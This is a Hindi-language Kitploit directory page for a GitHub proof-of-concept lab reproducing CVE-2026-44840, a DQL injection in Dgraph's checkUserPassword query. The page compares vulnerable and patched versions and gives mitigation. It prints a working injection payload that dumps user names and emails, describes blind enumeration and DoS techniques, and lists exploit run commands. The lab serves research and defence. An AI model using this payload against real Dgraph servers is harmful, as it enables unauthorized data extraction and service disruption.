Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-44840-poc — Docker लैब जो CVE-2026-44840 को पुनः उत्पन्न करती है, जो Dgraph के checkUserPassword GraphQL क्वेरी में एक DQL इंजेक्शन है, जिसमें exploit स्क्रिप्ट और vulnerable बनाम patched तुलना शामिल है। | Kitploit
उपकरण/GitHubGitHub/isaca0315/cve-2026-44840-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगरेड टीमिंगडेटाबेस सुरक्षालैब और अभ्यास
GitHubisaca0315/cve-2026-44840-poc

CVE-2026-44840-poc

Docker लैब जो CVE-2026-44840 को पुनः उत्पन्न करती है, जो Dgraph के checkUserPassword GraphQL क्वेरी में एक DQL इंजेक्शन है, जिसमें exploit स्क्रिप्ट और vulnerable बनाम patched तुलना शामिल है।

रिपॉजिटरी देखें
1 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-44840 — PoC: checkUserPassword के माध्यम से Dgraph DQL इंजेक्शन (GraphQL)

Dgraph में एक वास्तविक इंजेक्शन को पुनरुत्पादित करने वाली Docker प्रयोगशाला:

  • असुरक्षित: dgraph/dgraph:v25.3.3
  • पैच किया गया : dgraph/dgraph:v25.3.4

2026 का वास्तविक CVE · CVSS 3.1 7.5 (High) · CWE-943 (Improper Neutralization in Data Query Logic) · Kai Aizen को श्रेय (GHSA-q2m9-6jp9-c6mc, GO-2026-5837)। केवल पृथक और अधिकृत लैब वातावरण के लिए।

संदर्भ

checkUserPassword वह GraphQL क्वेरी है जिसे Dgraph स्वचालित रूप से निर्देश वाले प्रकारों के लिए स्कीमा में उत्पन्न करता है। में (≤ v25.3.3) पासवर्ड को के साथ जोड़ा जाता था :

@secret(field: "password")
graphql/resolve/query_rewriter.go
fmt.Sprintf
बिना एस्केप या पैरामीटराइज़ किए
root@kitploit:~
pwdVar := fmt.Sprintf(`checkpwd(%s, "%s")`, predicate, password)   // VULNERABLE

हमलावर का पासवर्ड शाब्दिक रूप से DQL में सम्मिलित हो जाता है:

root@kitploit:~
pwd as checkpwd(User.password, "<password del atacante>")

फिक्स (v25.3.4, कमिट cee702c) मान को पैरामीटराइज़ करता है:

root@kitploit:~
pwdVar = "$pwd0"                                  // FIX
// executa con &dgoapi.Request{Query: qry, Vars: map[string]string{"$pwd0": password}, ...}

PoC क्या करता है

  1. दो क्लस्टर Dgraph (zero+alpha) उठाता है: v25.3.3 और v25.3.4।

  2. स्कीमा type User @secret(field: "password") अपलोड करता है और admin, alice, bob बनाता है।

  3. checkUserPassword को एक ऐसा पासवर्ड भेजता है जो DQL लिटरल से बाहर निकल जाता है और एक मनमाना क्वेरी ब्लॉक जोड़ता है:

    root@kitploit:~
    x")
    }
    injected(func: has(User.name)) {
      User.name
      User.email
      uid
    }
    #
    

    v25.3.3 में injected { ... } ब्लॉक पार्स होता है और सर्वर-साइड निष्पादित होता है।

प्रेक्षणीय

परीक्षणv25.3.3 (असुरक्षित)v25.3.4 (पैच किया गया)
सही पासवर्ड से लॉगिनOK (touched_uids 7)OK (touched_uids 7)
गलत पासवर्ड से लॉगिनnull (5)null (5)
इंजेक्ट किया गया पासवर्ड )} injected{...} #निष्पादित होता है: touched_uids 14निष्क्रिय: 5
ओरेकल: eq(User.name,"bob") इंजेक्ट किया गयाtouched_uids 7 (मौजूद है)5
ओरेकल: eq(User.name,"nobody") इंजेक्ट किया गया5 (मौजूद नहीं है)5
dgraph alpha का लॉगinjected ब्लॉक वाला DQL दिखाता हैपैरामीटराइज़्ड DQL, बिना ब्लॉक

CVE का प्रभाव: सर्वर-साइड मनमाना DQL निष्पादन → डेटा की ब्लाइंड गणना (touched_uids/timing के माध्यम से), स्कीमा की खोज (has(), eq()) और महँगी ट्रैवर्सल (expand(_all_), रिकर्शन) इंजेक्ट करके संसाधन खपत के कारण DoS।

उपयोग

root@kitploit:~
# 1) levantar todo, preparar esquema/usuarios y ejecutar el exploit
bash run.sh

# 2) solo el exploit (si el lab ya esta preparado)
python3 exploit/exploit.py

# 3) montar el entorno desde cero (pod / volcado)
docker compose up -d
python3 setup/setup.py --alpha http://localhost:8180
python3 setup/setup.py --alpha http://localhost:8280

# 4) limpiar
docker compose down            # conserva los volumenes
docker compose down -v         # borra los volumenes (datos de dgraph)

लैब के एंडपॉइंट

सेवाHTTP GraphQLHTTP admingRPC alpha
alpha v25.3.3http://localhost:8180/graphqlhttp://localhost:8180/admin9180
alpha v25.3.4http://localhost:8280/graphqlhttp://localhost:8280/admin9280

संरचना

root@kitploit:~
CVE-2026-44840-poc/
├── docker-compose.yml     # 2 clusters: zero+alpha v25.3.3 / v25.3.4
├── schema.graphql         # type User @secret(field:"password")
├── run.sh                 # orquestador completo
├── REDTEAM.md             # guía red team: recon + explotación paso a paso + OPSEC
├── setup/setup.py         # esquema + usuarios
└── exploit/exploit.py     # inyeccion DQL e oraculo

आक्रामक परिचालन गाइड (पुनर्ज्ञान, चरण-दर-चरण शोषण, पेलोड, साक्ष्य और OPSEC): REDTEAM.md।

पेलोड का विवरण

पासवर्ड GraphQL वेरिएबल के रूप में यात्रा करता है; रीराइटर तक पहुँचने वाला मान एस्केप नहीं होता और checkpwd(User.password, "...") के अंदर सम्मिलित हो जाता है। पेलोड:

root@kitploit:~
x")            # cierra el literal de checkpwd y la funcion
}              # cierra el bloque checkPwd
injected(...)  # nuevo bloque root del atacante
  { ... }
#              # comenta el resto del template:  ")

# टेम्पलेट के सफिक्स (checkpwd का समापन ") को पार्सिंग तोड़ने से रोकता है।

शमन

  • dgraph v25.3.4+ पर अपडेट करें।
  • संक्षिप्त संस्करण: DQL में मानों को हमेशा पैरामीटराइज़ करें (dgoapi.Request के vars), कभी भी इनपुट को fmt.Sprintf के साथ इंटरपोलेट न करें।
  • इंडेक्स/ACL सक्षम करें और उत्पादन में बिना प्रमाणीकरण के GraphQL को उजागर न करें।# CVE-2026-44840-poc
टूल डाउनलोड करें